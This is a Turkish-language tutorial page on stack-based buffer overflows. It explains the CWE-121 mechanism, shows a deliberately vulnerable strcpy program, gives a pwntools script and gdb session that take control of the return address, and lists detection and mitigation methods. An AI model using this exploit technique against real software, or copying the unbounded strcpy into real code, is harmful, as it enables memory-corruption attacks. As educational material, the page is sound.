Stack buffer overflow¶
stack'te ayrılmış birbuffer'ın ötesine yazıp, saved register'ları ve return address'i overwrite ederek control flow'u yönlendirmek.
Mechanism¶
MITRE CWE-121'e göre: "A stack-based buffer overflow condition is a condition where
the buffer being overwritten is allocated on the stack (i.e., is a local
variable or, rarely, a parameter to a function)." stack frame, düşükten
yükseğe adreslere doğru, local buffer'ları, saved frame pointer'ı (SFP) ve
saved return address'i (RET) bu sırayla yerleştirir.
Note
Suistimal edilen invariant, stack frame'in sabit layout'u: bir
fonksiyonun local'leri saved return address'in altında durur ve sınırsız
kopyalar yüksek adreslere doğru büyür. Aleph One'ın ("Smashing the Stack for
Fun and Profit") 250 byte'lık bir string daha küçük bir buffer'a
kopyalandığında gözlemlediği gibi: "all 250 bytes after buffer in the stack
are being overwritten. This includes the SFP, RET, and even *str!" RET, CPU'nun
ret üzerinde atladığı adres olduğundan, onun üzerine düşen byte'ları kontrol
etmek şu anlama gelir: "a buffer overflow allows us to change the return
address of a function. In this way we can change the flow of execution of the
program." CWE-121, CWE-787'nin (Out-of-bounds Write) ve CWE-788'in (Access of
Memory Location After End of Buffer) ChildOf'udur.
Walkthrough¶
MITRE'nin Example 1'i — sınırsız bir strcpy ile sabit boyutlu bir buffer:
#define BUFSIZE 256
int main(int argc, char **argv) {
char buf[BUFSIZE];
strcpy(buf, argv[1]); // no guarantee argv[1] <= 256 bytes
}
buffer'dan saved RET'e olan offset'i bul, sonra üzerine yaz. pwntools ile:
from pwn import *
context.arch = 'amd64'
io = process('./vuln')
# cyclic pattern finds the exact offset to RIP
payload = cyclic(200)
io.sendline(payload)
# after crash, read $rsp from the core / gdb, then:
offset = cyclic_find(0x6161616c) # -> e.g. 264
payload = b'A'*offset + p64(0xdeadbeef) # overwrite saved return address
io.sendline(payload)
Overwrite'ı gdb'de doğrulama
$ gdb -q ./vuln
pwndbg> run $(python3 -c 'print("A"*264 + "BBBBBBBB")')
Program received signal SIGSEGV.
pwndbg> info registers rip
rip 0x4242424242424242 <-- 'BBBBBBBB' landed on the return address
rip'in 0x4242... tutması, saved RET'in kontrolünü kanıtlar. Buradan
sonra overwrite genellikle bilinen bir adresi hedefler — ret2win, bir libc
çağrısı (ret2libc) veya bir chain (return-oriented-programming).
Detection¶
Bir stack canary uyuşmazlığı *** stack smashing detected *** ile abort eder.
AddressSanitizer, zehirlenmiş redzone'lar üzerinden stack-buffer-overflow
raporlar. Kontrol edilen bir rip/eip ile çökmeler, fuzzing sırasında güçlü
bir sinyaldir.
Mitigation¶
Stack canary'ler
(master TLS canary saved RET'i
korur), stack üzerinde shellcode'u engellemek için
NX/DEP,
ASLR/PIE,
shadow stack'ler (Intel CET) ve
FORTIFY_SOURCE. Uzunluk sınırlı API'ler
(strncpy/snprintf) ve memory-safe diller kullan.